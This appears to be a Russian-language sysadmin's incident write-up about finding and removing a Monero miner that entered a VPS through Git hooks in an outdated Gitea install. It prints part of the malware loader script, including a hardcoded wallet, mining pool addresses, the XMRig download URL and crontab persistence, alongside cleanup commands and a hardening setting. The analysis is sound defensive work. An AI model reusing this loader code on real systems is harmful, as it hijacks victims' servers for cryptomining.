Разбор инцидента: Вычисляем и выкорчевываем майнер Monero на клиентском сервере

Всем привет!

Недавно ко мне обратился владелец одного из обслуживаемых серверов. На VPS неожиданно намертво всё легло, отвалились регулярные боты, а процессор ушел в долгие 200% утилизации. Ниже — детальный разбор: с чего всё началось, как я вычислял заразу, что представляет собой этот вирус, откуда он пролез и как я запечатал эту дыру. Погнали!

Дисклеймер (Важно к прочтению)

Внимание: Весь опубликованный ниже код, скрипты и технические данные приводятся исключительно в образовательных целях и для демонстрации механизмов работы вредоносного ПО. Использование подобных скриптов для несанкционированного доступа, заражения чужих устройств или несанкционированного майнинга преследуется по закону.

Напоминаю, что в РФ за подобные действия предусмотрена уголовная ответственность по статьям УК РФ: ст. 272 (Неправомерный доступ к компьютерной информации), ст. 273 (Создание, использование и распространение вредоносных компьютерных программ) и ст. 274 (Нарушение правил эксплуатации правил хранения, обработки или передачи компьютерной информации). Не пытайтесь повторять это на чужих системах!

1. Как всё началось

История началась с того, что клиент написал мне в мессенджер с подозрением на сетевые проблемы или сбой на стороне дата-центра: у него перестали отправляться утренние уведомления от телеграм-ботов, а сайты на сервере перестали открываться. Первым делом я проверил панель управления — со стороны ДЦ никаких ограничений не было, но графики утилизации vCPU и RAM намертво лежали в 100%.

После нескольких попыток перезагрузки виртуальной машины из панели, сервер на пару минут оживал, но затем нагрузка снова улетала в полку. Стало ясно, что проблема не в ресурсах или логах, а внутри системы работает тяжелый процесс. Получив временный доступ, я подключился по SSH для диагностики.

2. Диагностика и выявление майнера

Первым делом я снял топ процессов по использованию ресурсов CPU:

ps aux --sort=-%cpu | head -n 10

Спойлер: Вывод команды ps aux

USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
git       1343 195.3  1.2 2124024 45000 ?        Rsl  12:21  15:25 xmrig -o gulf.moneroocean.stream:10128 -u 47ZBzE...
gitea     1343  0.3  7.3 2124024 290896 ?        Ssl  12:21   0:25 /usr/local/bin/gitea web --config /etc/gitea/app.ini
redis      879  0.2  0.2 180064 11284 ?        Ssl  12:21   0:20 /usr/bin/redis-server 127.0.0.1:6379
caddy      870  0.1  0.9 1308536 36900 ?        Ssl  12:21   0:13 /usr/bin/caddy run --environ --config /etc/caddy/Caddyfile

Наверху списка висел xmrig — известный софт для майнинга Monero. Обычный kill -9 здесь бесполезен, так как процесс моментально поднимается службой-сторожем.

3. Что это за майнер? (Анализ universal-mine.sh)

Заморозив процесс сигналом SIGSTOP, я нашел рабочую директорию вредоноса в /var/lib/gitea/data/home/.universal-miner/. Исполняемый файл оказался кроссплатформенным автозагрузчиком universal-mine.sh, заточенным под архитектуры x86_64, ARM64 и ARM32.

Примечание: Исходный код вредоносного скрипта приводится ниже исключительно в ознакомительных целях для понимания логики работы автозагрузчика. Запускать его на своих или тем более чужих серверах настоятельно не рекомендуется.

Спойлер: Исходный код скрипта universal-mine.sh

#!/usr/bin/env bash
# universal-mine.sh — Universal CPU miner
DIR="${HOME:-/tmp}/.universal-miner"
LOG="$DIR/miner.log"
PIDFILE="$DIR/miner.pid"
DEFAULT_XMR_WALLET="47ZBzEK4hmrieanepqmz8w1pEeAdmThodKNio4wiXMKbe7AgS537XFwGyw3myXHDX3H4VqH1jz7D88XgmVnF39xz7f3f2YC"
DEFAULT_DOGE_WALLET="D5jQWe82DTr2bfGp4DYnNuEAdapEHzEsHy"

XMRIG_URL="https://github.com/xmrig/xmrig/releases/download/v6.26.0/xmrig-6.26.0-linux-static-x64.tar.gz"
POOL_MO="gulf.moneroocean.stream:10128"
POOL_VERUS="verushash.eu.mine.zpool.ca:6143"

detect() {
    ARCH=$(uname -m)
    case "$ARCH" in
        x86_64|amd64)   ARCH_ID="x64" ;;
        aarch64|arm64)  ARCH_ID="arm64" ;;
        armv7l|armhf)   ARCH_ID="arm32" ;;
    esac
}

install_cron() {
    if command -v crontab >/dev/null 2>&1; then
        ( crontab -l 2>/dev/null; \
          echo "@reboot $DIR/universal.sh >/dev/null 2>&1"; \
          echo "*/5 * * * * $DIR/universal.sh >/dev/null 2>&1" ) | crontab - 2>/dev/null
    fi
}

setup_x64_randomx() {
    launch_bg nice "$DIR/xmrig" --url="$POOL_MO" --user="$DEFAULT_XMR_WALLET" --algo=rx/0
}

Скрипт определяет архитектуру через uname -m, выкачивает XMRig v6.26.0 (для x86_64) или ccminer (для ARM) и жестко прописывает задачи восстановления в crontab пользователя каждые 5 минут и при старте системы (@reboot).

4. Вектор атаки: Как залезли?

Процесс майнера запускался от системного юзера git. Причиной взлома оказалась устаревшая версия Gitea: на сервере были включены серверные гитовские хуки (Git Hooks). Злоумышленник прожал исполнение кода через hooks в одном из репозиториев, заставив Gitea запустить скачивание и развертывание майнера от имени пользователя git.

5. Зачистка и запечатывание дыры

Я провел полную зачистку системы под root:

Убил процессы: pkill -9 -f xmrig && pkill -9 -f universal.sh
Очистил крон у пользователя git: crontab -r -u git
Удалил директорию вредоноса: rm -rf /var/lib/gitea/data/home/.universal-miner/
Заблокировал запуск Git Hooks в конфиге Gitea (/etc/gitea/app.ini):
```
[security]
DISABLE_GIT_HOOKS = true
```
Перезапустил сервис: systemctl restart gitea

6. Контрольная проверка

После ликвидации закрепов я выполнил финальную проверку вывода процессов, крона и настроек конфига:

ps aux | grep -iE 'xmrig|universal|ccminer' | grep -v grep crontab -l -u git ls -la /var/lib/gitea/data/home/.universal-miner/ 2>/dev/null grep -i "DISABLE_GIT_HOOKS" /etc/gitea/app.ini

Спойлер: Вывод команд проверки

root@vps514:~# ps aux | grep -iE 'xmrig|universal|ccminer' | grep -v grep
root@vps514:~# crontab -l -u git
no crontab for git
root@vps514:~# ls -la /var/lib/gitea/data/home/.universal-miner/ 2>/dev/null
root@vps514:~# grep -i "DISABLE_GIT_HOOKS" /etc/gitea/app.ini
DISABLE_GIT_HOOKS = true